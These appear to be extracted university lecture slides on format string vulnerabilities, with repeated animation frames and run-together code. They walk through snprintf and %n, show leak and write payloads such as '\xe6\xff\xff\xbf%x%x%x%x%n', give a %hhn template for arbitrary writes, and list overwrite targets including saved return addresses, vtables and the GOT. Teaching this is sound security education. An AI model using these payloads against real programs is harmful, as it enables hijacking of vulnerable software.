Upload
others
View
4
Download
0
Embed Size (px)
Citation preview
Format string vulnerabilities
1Thursday, September 19, 13
Goal
• Take control of the program (as usual)
• How?
• Write4 (write 4 bytes to an arbitrary location)
• Inject shellcode (or other exploits) into the process
2Thursday, September 19, 13
What should we overwrite?
• Saved instruction pointer (seip)
• Other pointers to code (we’ll come back to this)
3Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____________________ending
5
500
seip
format string
“s”
next arg
4Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________________H___ending
5
500
seip
format string
“s”
next arg
5Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________________He__ending
5
500
seip
format string
“s”
next arg
6Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________________Hel_ending
5
500
seip
format string
“s”
next arg
7Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________________Hellending
5
500
seip
format string
“s”
next arg
8Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____________o___Hellending
5
500
seip
format string
“s”
next arg
9Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____________o␣__Hellending
5
500
seip
format string
“s”
next arg
10Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____________o␣5_Hellending
5
500
seip
format string
“s”next arg
11Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____________o␣5␣Hellending
5
500
seip
format string
“s”next arg
12Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________w___o␣5␣Hellending
5
500
seip
format string
“s”next arg
13Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________wo__o␣5␣Hellending
5
500
seip
format string
“s”next arg
14Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________wor_o␣5␣Hellending
5
500
seip
format string
“s”next arg
15Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf________worlo␣5␣Hellending
5
500
seip
format string
“s”next arg
16Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____d___worlo␣5␣Hellending
5
500
seip
format string
“s”next arg
17Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____ds__worlo␣5␣Hellending
5
500
seip
format string
“s”next arg
18Thursday, September 19, 13
The way snprintf() normally works
void foo(int w) {char buf[500];const char *ending = w==1? “”:”s”;snprintf(buf, 500, “Hello %d world%s”,
w, ending);}…foo(5);
w: 5seipsebpbuf____ds␀_worlo␣5␣Hellending
5
500
seip
format string
“s”next arg
19Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf____________________x: _
5
500
seip
format stringnext arg
20Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf________
o␣__Hellx: _
5
500
seip
format stringnext arg
21Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf____________o␣5_Hellx: _
5
500
seip
format string
next arg
22Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf____d___worlo␣5␣Hellx: _
5
500
seip
format string
next arg
23Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf____d___worlo␣5␣Hellx: 13
5
500
seip
format string
next arg
24Thursday, September 19, 13
Now with %nvoid foo(int w) {
char buf[500];int x;snprintf(buf, 500, “Hello %d world%n”,
w, &x);}…foo(5);
w: 5seipsebpbuf____d␀__worlo␣5␣Hellx: 13
5
500
seip
format string
next arg
25Thursday, September 19, 13
Attacker controlled format string
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf____________________
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg format string
26Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf________________ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg format string
Attacker controlled format string
27Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf____________2b__ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next argformat string
Attacker controlled format string
28Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf________f___2b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
Attacker controlled format string
29Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf________fa__2b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
Attacker controlled format string
30Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf________fa752b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
Attacker controlled format string
31Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf5a5a5a5afa752b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
Attacker controlled format string
32Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebpbuf5a5a5a5afa752b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
‘Z’ = 0x5a
Attacker controlled format string
32Thursday, September 19, 13
void foo(const char *evil) {char buf[500];snprintf(buf, 500, evil);
}…foo(“ZZZZ%x%x%x%x%x”);
evilseipsebp
␀___5a5a5a5afa752b72ZZZZ
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
Attacker controlled format string
33Thursday, September 19, 13
Overwriting seipvoid foo(const char *evil) {
char buf[500];snprintf(buf, 500, evil);
}…foo(“\xe6\xff\xff\xbf%x%x%x%x%n”);
evilseipsebpbuf____________________
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg format string
0xbfffffe6
34Thursday, September 19, 13
Overwriting seipvoid foo(const char *evil) {
char buf[500];snprintf(buf, 500, evil);
}…foo(“\xe6\xff\xff\xbf%x%x%x%x%n”);
evilseipsebpbuf____________________
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg format string
0xbfffffe6
34Thursday, September 19, 13
Overwriting seipvoid foo(const char *evil) {
char buf[500];snprintf(buf, 500, evil);
}…foo(“\xe6\xff\xff\xbf%x%x%x%x%n”);
evilseipsebpbuf________fa752b72____
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
0xbfffffe6
35Thursday, September 19, 13
Overwriting seipvoid foo(const char *evil) {
char buf[500];snprintf(buf, 500, evil);
}…foo(“\xe6\xff\xff\xbf%x%x%x%x%n”);
evil12
sebpbuf________fa752b72____
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
0xbfffffe6
36Thursday, September 19, 13
Overwriting seipvoid foo(const char *evil) {
char buf[500];snprintf(buf, 500, evil);
}…foo(“\xe6\xff\xff\xbf%x%x%x%x%n”);
evil12
sebpbuf____␀___fa752b72____
garbage: 117garbage: 10
garbage: 1839garbage: 43
evil500
seip
next arg
format string
0xbfffffe6
37Thursday, September 19, 13
Picking the bytes to write
• Use %⟨len⟩x to control the length of the output
• Use %hhn to write just the least-significant byte of the length
38Thursday, September 19, 13
Almost putting it all together
evil = “⟨address⟩ZZZZ” “⟨address+1⟩ZZZZ” “⟨address+2⟩ZZZZ” “⟨address+3⟩” “%8x%8x…%8x” “%⟨len⟩x%hhn” “%⟨len⟩x%hhn” “%⟨len⟩x%hhn” “%⟨len⟩x%hhn”;
39Thursday, September 19, 13
Misaligned buf
• If buf is not 4-byte aligned, prepend 1, 2, or 3 characters to evil
40Thursday, September 19, 13
Advantages of format string exploits
• No need to smash the stack (targeted write)
• Avoids defenses such as stack canaries!
• Stack canary is a random word pushed onto the stack that is checked before the function returns
41Thursday, September 19, 13
Stack CanariesExample from Target 6:_Z16print_sub_stringRK18SubStringReference:
pushl!! %ebpmovl! ! %esp, %ebppushl!! %ebxsubl! ! $68, %espmovl! ! 8(%ebp), %ebx! // str movl! ! %gs:20, %eax!! // canary!movl! ! %eax, -12(%ebp)!// on stackxorl! ! %eax, %eax…movl! ! -12(%ebp), %eax!// load canaryxorl! ! %gs:20, %eax!! // compare themje!! ! .L13call! ! __stack_chk_fail
.L13:addl! ! $68, %esppopl! ! %ebxpopl! ! %ebpret
strseipsebpsebx____canary
buf
42Thursday, September 19, 13
Disadvantages of format string exploits
• Easy to catch so rarer:$ gcc -Wformat=2 f.cf.c: In function ‘main’:f.c:5: warning: format not a string literal and no format arguments
• Tricky to exploit compared to buffer overflows
43Thursday, September 19, 13
What else can we overwrite?
• Function pointers
• C++ vtables
• Global offset table (GOT)
44Thursday, September 19, 13
Function pointers#include <stdlib.h>#include <stdio.h>
int compare(const void *a, const void *b) { const int *x = a; const int *y = b; return *x - *y;}
int main() { int i; int arr[6] = {2, 1, 5, 13, 8, 4}; qsort(arr, 6, 4, compare); for (i = 0; i < 6; ++i) printf("%d ", arr[i]); putchar('\n'); return 0;}
main:pushl! %ebpmovl! %esp, %ebp…leal! 24(%esp), %esi // arr…movl! $compare, 12(%esp)movl! $4, 8(%esp)movl! $6, 4(%esp)movl! %esi, (%esp)call! qsort
qsort:…call *0x14(%ebp)…
45Thursday, September 19, 13
C++ Virtual function tables (vtable)
struct Foo { Foo() { } virtual ~Foo() { } virtual void fun1() { } virtual void fun2() { }};
void bar(Foo &f) { f.fun1(); f.fun2();}
int main() { Foo f; foo(f);}
_Z3barR3Foo: // bar(Foo&)pushl! %ebpmovl! %esp, %ebppushl! %ebxsubl! $20, %espmovl! 8(%ebp), %ebx! // ebx <- fmovl! (%ebx), %eax!! // eax <- vtablemovl! %ebx, (%esp)!! // (esp) <- thiscall! *8(%eax)!! ! // call virtual functionmovl! (%ebx), %eax!! // eax <- vtablemovl! %ebx, (%esp)!! // (esp) <- thiscall! *12(%eax)! ! // call virtual functionaddl! $20, %esppopl! %ebxpopl! %ebpret
46Thursday, September 19, 13
vtable for Foo// Real code_ZN3FooC1Ev:
pushl! %ebpmovl! %esp, %ebpmovl! 8(%ebp), %eaxmovl! $_ZTV3Foo+8, (%eax)popl! %ebpret
_ZTV3Foo:.long! 0.long! _ZTI3Foo.long! _ZN3FooD1Ev.long! _ZN3FooD0Ev.long! _ZN3Foo4fun1Ev.long! _ZN3Foo4fun2Ev
// DemangledFoo::Foo():
pushl! %ebpmovl! %esp, %ebpmovl! 8(%ebp), %eaxmovl! vtable for Foo+8, (%eax)popl! %ebpret
vtable for Foo:.long! 0.long! typeinfo for Foo.long! Foo::~Foo().long! Foo::~Foo().long! Foo::fun1().long! Foo::fun2()
address of vtable+8 stored in first word
of object
47Thursday, September 19, 13
Global Offset Table (GOT)
• Contains pointers to code and data in shared libraries
• Library functions aren’t called directly; stub in the Procedure Linkage Table (PLT) called
• E.g., call exit -> call exit@plt
• exit@plt looks up the address of exit in the GOT and jumps to it (not the whole story)
• Overwrite function pointer in GOT48Thursday, September 19, 13